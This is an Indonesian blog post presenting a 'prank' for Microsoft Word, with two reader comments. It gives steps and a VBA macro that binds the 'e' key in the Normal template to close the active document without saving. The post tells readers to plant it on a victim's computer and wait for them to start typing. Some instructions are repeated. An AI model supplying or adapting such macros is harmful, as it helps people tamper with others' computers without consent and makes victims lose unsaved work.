Berjumpa lagi dengan artikel usil saya...
:D
Kali ini saya ingin nge-share trik unik untuk usil melalui Ms Word
(horeeee......)
:D
Pada trik usil kali ini, kita akan membuat Ms Word korban menjadi EDAN !!!!
Ya, edan bin gila bin sedeng bin gendeng....!!!
Kok bisa gendeng..?
:v
Kok bisa gendeng..?
:v
Ya , karena si Ms Word gendeng ini setiap kali si korban menekan tombol "e/E", maka seketika itu pula si Ms Word akan menutup jendela/windowsnya....!!!
hwahahahahaahaaa....
Yang pasti bakal bikin si korban pucet dan bingung
wakakakakak
(ketawa jahat)
wakakakakak
(ketawa jahat)
Okehlah kaloh begituh...
Langsung sajah...
Cekibrot....
:D
Silahkan ikuti langkah-langkah berikut :
1. Buka Ms Word
2. Tekan Alt + F11, maka anda akan masuk ke Microsoft Visual Basic
3. Setelah anda masuk ke Ms VB, silahkan menuju ke kotak di kiri atas windows lalu drop down Normal diikuti drop down Microsoft Word Objects lalu klik ganda/double klik ThisDocument yang akan menampilkan work sheet (code)
3. Setelah anda masuk ke Ms VB, silahkan menuju ke kotak di kiri atas windows lalu drop down Normal diikuti drop down Microsoft Word Objects lalu klik ganda/double klik ThisDocument yang akan menampilkan work sheet (code)
4. Copaslah script di bawah ini
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
5. Lalu Crtl + S (save), kemudian tekan F5 atau bisa melalui menu Run > Run Sub
6. Tutup work sheet tersebut, dan tunggulah ketika korban membuka Ms Wordnya dan mulai mengetik....
Hwahahahahaahaaaaa....
Jika anda ingin mengganti huruf "edannya", anda bisa menggantinya pada baris script ini
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE),
*yang berwarna merah bisa diganti sesuka anda
:D
Sekian trik usil dari saya...
Dan sekali lagi...
Saya tegaskan...
Segala resiko yang muncul dari trik ini adalah menjadi tanggung jawab anda masing-masing, sehingga bijaklah dalam menggunakan ilmu anda
:)
5. Lalu Crtl + S (save), kemudian tekan F5 atau bisa melalui menu Run > Run Sub
6. Tutup work sheet tersebut, dan tunggulah ketika korban membuka Ms Wordnya dan mulai mengetik....
Hwahahahahaahaaaaa....
Jika anda ingin mengganti huruf "edannya", anda bisa menggantinya pada baris script ini
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE),
*yang berwarna merah bisa diganti sesuka anda
:D
Sekian trik usil dari saya...
Dan sekali lagi...
Saya tegaskan...
Segala resiko yang muncul dari trik ini adalah menjadi tanggung jawab anda masing-masing, sehingga bijaklah dalam menggunakan ilmu anda
:)
wassalam.....
:*
2 komentar
cara ngembaliinnya gimana ? punya gua gabisa balik :(
masuk lg k work sheet VB nya mbak, hbs tu hps script yg di ketik, lalu save
:)